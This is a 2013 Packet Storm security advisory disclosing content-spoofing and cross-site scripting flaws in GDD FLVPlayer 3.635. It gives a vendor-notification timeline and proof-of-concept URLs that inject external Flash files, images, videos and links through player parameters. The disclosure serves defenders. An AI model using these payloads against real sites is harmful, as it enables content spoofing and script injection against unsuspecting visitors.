GDD FLVPlayer 3.635 Cross Site Scripting / Content Spoofing

2013-08-23T00:00:00
ID PACKETSTORM:122944
Type packetstorm
Reporter MustLive
Modified 2013-08-23T00:00:00

Description

                                        
                                            `Hello list!  
  
These are Content Spoofing and Cross-Site Scripting vulnerabilities in GDD   
FLVPlayer.  
  
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Affected products:  
-------------------------  
  
Vulnerable are GDD FLVPlayer v3.635 and previous versions.  
  
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Affected vendors:  
-------------------------  
  
GeDeDe  
http://www.gdd.ro  
  
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Details:  
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Content Spoofing (Flash Injection) (WASC-12):  
  
http://site/gddflvplayer.swf?mylogo=http://site2/1.swf  
  
http://site/gddflvplayer.swf?splashscreen=http://site2/1.swf  
  
It's possible to include flash-files with links.  
  
XSS (via Flash Injection) (WASC-08):  
  
http://site/gddflvplayer.swf?mylogo=xss.swf  
  
http://site/gddflvplayer.swf?splashscreen=xss.swf  
  
In old versions of Flash player the attack will work with flash file xss.swf   
at any domain, in new versions - only at the same domain.  
  
Content Spoofing (Content Injection) (WASC-12):  
  
http://site/gddflvplayer.swf?mylogo=http://site2/1.jpg  
  
http://site/gddflvplayer.swf?splashscreen=http://site2/1.jpg  
  
http://site/gddflvplayer.swf?advert=http://site2/1.flv  
  
http://site/gddflvplayer.swf?vdo=http://site2/1.flv  
  
Injecting images and playing video and audio (flv, mp4 and mp3 files) from   
external sites.  
  
Content Spoofing (Link Injection) (WASC-12):  
  
http://site/gddflvplayer.swf?clickTAG=http://websecurity.com.ua  
  
http://site/gddflvplayer.swf?vdo=http://site2/1.flv&endclipaction=http://websecurity.com.ua  
  
------------  
Timeline:  
------------   
  
2013.07.10 - announced at my site.  
2013.07.11 - informed developers.  
2013.08.23 - disclosed at my site (http://websecurity.com.ua/6642/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`